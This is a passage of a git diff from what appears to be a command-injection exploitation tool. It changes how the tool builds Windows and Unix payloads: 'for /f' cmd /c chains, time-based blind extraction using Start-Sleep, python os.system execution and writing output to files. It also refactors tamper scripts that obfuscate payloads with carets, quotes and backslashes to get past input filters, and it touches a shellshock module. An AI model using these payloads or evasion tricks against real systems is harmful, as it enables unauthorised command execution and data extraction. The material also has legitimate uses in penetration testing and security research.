str(randv1) + "%2B" + str(randv2) + ")" + "\"') do @set /p =%i < nul" + separator + "echo " + TAG + @@ -155,7 +155,7 @@ def decision_alter_shell(separator, TAG, randv1, randv2): """ def cmd_execution(separator, TAG, cmd): if settings.TARGET_OS == "win": - cmd = ( "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + cmd = ( "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do @set /p =%i < nul" ) @@ -201,7 +201,7 @@ def cmd_execution_alter_shell(separator, TAG, cmd): payload = (separator +cmd + " " ) else: - python_payload = ("for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + python_payload = ("for /f \"tokens=*\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + "')\"" + "') do @set /p =%i < nul" ) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index f8d1f4f8eb..a78fc865cb 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -153,14 +153,14 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp if target_arch: # if settings.VERBOSITY_LEVEL != 0: # print(settings.SINGLE_WHITESPACE) - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL + info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The target operating system is " + str(target_os) + info_msg = "The underlying operating system is " + str(target_os) info_msg += " and the hardware platform is " + str(target_arch) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index b6089a7122..53a20f9b53 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -46,7 +46,7 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"open('" + OUTPUT_TEXTFILE + "','w').write('" + TAG + "')\"" payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do @set /p =%i< nul" ) @@ -78,7 +78,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): elif settings.TARGET_OS == "win": payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + "powershell.exe -InputFormat none write-host (cmd /c \"" + cmd + "\")\"') do @set /p =%i " + ">" + OUTPUT_TEXTFILE + "< nul" @@ -107,7 +107,7 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): else: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + ">" + OUTPUT_TEXTFILE + "')\"" payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do @set /p =%i< nul" ) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index b8c34fb284..34e1aa2c08 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -149,14 +149,14 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if target_arch: if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL + info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The target operating system is " + str(target_os) + info_msg = "The underlying operating system is " + str(target_os) info_msg += " and the hardware platform is " + str(target_arch) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 0a6b6f38d0..5890c1fb4d 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -30,7 +30,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): pipe = "|" payload = (pipe + "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')" " do if %i==" +str(j) + " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " @@ -42,7 +42,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): ampersand = _urllib.parse.quote("&") payload = (ampersand + "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " + "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " "((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')" " do if %i==" +str(j) + " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " @@ -116,7 +116,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque pipe = "|" payload = (pipe + " " "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(j) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " @@ -127,7 +127,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque ampersand = _urllib.parse.quote("&") payload = (ampersand + "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(j) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " @@ -199,17 +199,17 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth if separator == "||" : pipe = "|" payload = (pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do @set /p =%i" + ">" + OUTPUT_TEXTFILE + "< nul" + pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" "do if %i==" +str(j) + " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\" " + # Transform to ASCII pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"') " "do @set /p =%i>" + OUTPUT_TEXTFILE + "< nul) " "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" @@ -218,17 +218,17 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do @set /p =%i" + ">" + OUTPUT_TEXTFILE + "< nul" + ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" "do if %i==" +str(j) + " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\" " + # Transform to ASCII ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"') " "do @set /p =%i>" + OUTPUT_TEXTFILE + "< nul) " "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" @@ -312,11 +312,11 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ if separator == "||" : pipe = "|" payload = (pipe + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do @set /p =%i" + ">" + OUTPUT_TEXTFILE + "< nul " + pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(j) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " @@ -326,11 +326,11 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do @set /p =%i" + ">" + OUTPUT_TEXTFILE + "< nul " + ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(j) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " @@ -401,7 +401,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http if separator == "||" : pipe = "|" payload = (pipe + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" +str(num_of_chars-1)+ "]\"')" " do if %i==" +str(ascii_char)+ " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" @@ -411,7 +411,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" +str(num_of_chars-1)+ "]\"')" " do if %i==" +str(ascii_char)+ " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" @@ -477,7 +477,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t if separator == "||" : pipe = "|" payload = (pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " @@ -487,7 +487,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " @@ -550,7 +550,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth if separator == "||" : pipe = "|" payload = (pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " "do if %i==" + str(ord(str(ascii_char))) + " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " @@ -561,7 +561,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " + "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " "do if %i==" + str(ord(str(ascii_char))) + " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " @@ -620,7 +620,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, if separator == "||" : pipe = "|" payload = (pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " @@ -630,7 +630,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index b9614c161d..8f84a3c02d 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -103,25 +103,25 @@ def enumeration(url, cve, check_header, filename): cmd = settings.RECOGNISE_HP target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename) if target_arch: - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL + info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The target operating system is " + str(target_os) + info_msg = "The underlying operating system is " + str(target_os) info_msg += " and the hardware platform is " + str(target_arch) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: - info_msg = "The target operating system is " + target_os + info_msg = "The underlying operating system is " + target_os sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The target operating system is " + str(target_os) + ".\n" + info_msg = "The underlying operating system is " + str(target_os) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index b47ce27261..dde40e07f6 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -1157,7 +1157,7 @@ def check_target_os(server_banner): user_defined_os = settings.TARGET_OS if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the target operating system. " + debug_msg = "Identifying The underlying operating system. " sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() @@ -1189,7 +1189,7 @@ def check_target_os(server_banner): if settings.VERBOSITY_LEVEL != 0 : if found_os_server: print(settings.SINGLE_WHITESPACE) - debug_msg = "The target operating system appears to be " + debug_msg = "The underlying operating system appears to be " debug_msg += identified_os.title() + Style.RESET_ALL + "." print(settings.print_bold_debug_msg(debug_msg)) else: diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index b67812b955..fae3025bb3 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -14,11 +14,12 @@ """ import re import sys +from src.utils import menu from src.utils import settings """ About: Adds back slashes (\) between the characters of the generated payloads. -Notes: This tamper script works against *nix targets. +Notes: This tamper script works against unix-like target(s). """ __tamper__ = "backslashes" @@ -47,25 +48,10 @@ def add_back_slashes(payload): if settings.TARGET_OS != "win": if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_back_slashes(payload) - + return add_back_slashes(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - - return payload + return payload # eof \ No newline at end of file diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index 944620ebab..2c7fd9813f 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -18,7 +18,7 @@ """ About: Uses backticks instead of "$()" for commands substitution on the generated payloads. -Notes: This tamper script works against *nix targets. +Notes: This tamper script works against unix-like target(s). """ __tamper__ = "backticks" diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index bf11c75e59..978bbb70cd 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -14,6 +14,7 @@ """ import re import sys +from src.utils import menu from src.utils import settings """ @@ -30,12 +31,13 @@ def tamper(payload): def add_caret_symbol(payload): settings.TAMPER_SCRIPTS[__tamper__] = True if re.compile("\w+").findall(payload): - if str(len(max(re.compile("\w+").findall(payload), key=lambda word: len(word)))) >= 5000: + long_string = "" + if len(max(re.compile("\w+").findall(payload), key=lambda word: len(word))) >= 5000: long_string = max(re.compile("\w+").findall(payload), key=lambda word: len(word)) - rep = { "^^": "^", '"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"', + '^t^o^k^e^n^s': '"t"^"o"^"k"^"e"^"n"^"s"', re.sub(r'([b-zD-Z])', r'^\1', long_string) : long_string.replace("^","") } payload = re.sub(r'([b-zD-Z])', r'^\1', payload) @@ -46,24 +48,10 @@ def add_caret_symbol(payload): if settings.TARGET_OS == "win": if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_caret_symbol(payload) + return add_caret_symbol(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "*nix target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - - return payload + return payload # eof \ No newline at end of file diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index 27b40f7fff..f405f546f8 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -14,11 +14,12 @@ """ import re import sys +from src.utils import menu from src.utils import settings """ About: Adds dollar sign followed by an at-sign ($@) between the characters of the generated payloads. -Notes: This tamper script works against *nix targets. +Notes: This tamper script works against unix-like target(s). """ __tamper__ = "dollaratsigns" @@ -47,25 +48,10 @@ def add_dollar_at_signs(payload): if settings.TARGET_OS != "win": if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_dollar_at_signs(payload) - + return add_dollar_at_signs(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload - return payload - # eof \ No newline at end of file diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 32eaa22faa..45470bb5ed 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -14,14 +14,17 @@ """ import re import sys +from src.utils import menu from src.utils import settings """ About: Adds double quotes (") between the characters of the generated payloads. -Notes: This tamper script works against *nix targets. +Notes: This tamper script works against unix-like target(s). """ __tamper__ = "doublequotes" +if settings.TRANFROM_PAYLOAD != None: + settings.TRANFROM_PAYLOAD = None if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True @@ -39,33 +42,18 @@ def add_double_quotes(payload): '""c""m""d': 'cmd', '""c""ha""r': 'char' } - payload = re.sub(r'([b-zD-Z])', r'""\1', payload) + if settings.TARGET_OS != "win": + payload = re.sub(r'([b-zD-Z])', r'""\1', payload) + else: + payload = payload.replace("tokens","\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"") rep = dict((re.escape(k), v) for k, v in rep.items()) pattern = re.compile("|".join(rep.keys())) payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) return payload - if settings.TARGET_OS != "win": - if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_double_quotes(payload) - + if settings.EVAL_BASED_STATE != False: + return payload else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - - return payload + return add_double_quotes(payload) # eof \ No newline at end of file diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index 94ac9c628f..5d0adcb190 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -20,7 +20,7 @@ """ About: Adds double quotes around of the generated payloads (nested). -Notes: This tamper script works against *nix targets. +Notes: This tamper script works against unix-like target(s). """ __tamper__ = "nested" @@ -48,25 +48,10 @@ def nested(payload): if settings.TARGET_OS != "win": if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = nested(payload) - + return nested(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload - return payload - # eof \ No newline at end of file diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index 654d3227a6..3d8bc259c6 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -14,11 +14,12 @@ """ import re import sys +from src.utils import menu from src.utils import settings """ About: Adds single quotes (') between the characters of the generated payloads. -Notes: This tamper script works against *nix targets. +Notes: This tamper script works against unix-like target(s). """ __tamper__ = "singlequotes" @@ -47,25 +48,10 @@ def add_single_quotes(payload): if settings.TARGET_OS != "win": if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_single_quotes(payload) - + return add_single_quotes(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - - return payload + return payload # eof \ No newline at end of file diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index 0af29d889d..32b9e1fd8d 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -12,11 +12,12 @@ """ import sys +from src.utils import menu from src.utils import settings """ About: Replaces slashes (/) with environment variable value "${PATH%%u*}". -Notes: This tamper script works against *nix targets. +Notes: This tamper script works against unix-like target(s). Reference: https://www.secjuice.com/bypass-strict-input-validation-with-remove-suffix-and-prefix-pattern/ """ @@ -33,24 +34,10 @@ def add_slash2env(payload): if settings.TARGET_OS != "win": if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_slash2env(payload) - + return add_slash2env(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - - return payload - \ No newline at end of file + return payload + +# eof \ No newline at end of file diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 6b7ec10a0a..5f89b91c19 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -14,12 +14,13 @@ """ import re import sys +from src.utils import menu from src.utils import settings """ About: Uses "timeout" function for time-based attacks. - * Regarding *nix targets, it replaces the "sleep XX" command with "timeout XX ping localhost". - * Regarding windows targets, it replaces the "powershell.exe -InputFormat none Start-Sleep -s XX" command with "timeout XX". + * Regarding unix-like target(s), it replaces the "sleep XX" command with "timeout XX ping localhost". + * Regarding windows target(s), it replaces the "powershell.exe -InputFormat none Start-Sleep -s XX" command with "timeout XX". Notes: This tamper script works against all targets. """ @@ -45,15 +46,14 @@ def sleep_to_timeout_ping(payload): if settings.TRANFROM_PAYLOAD == None: 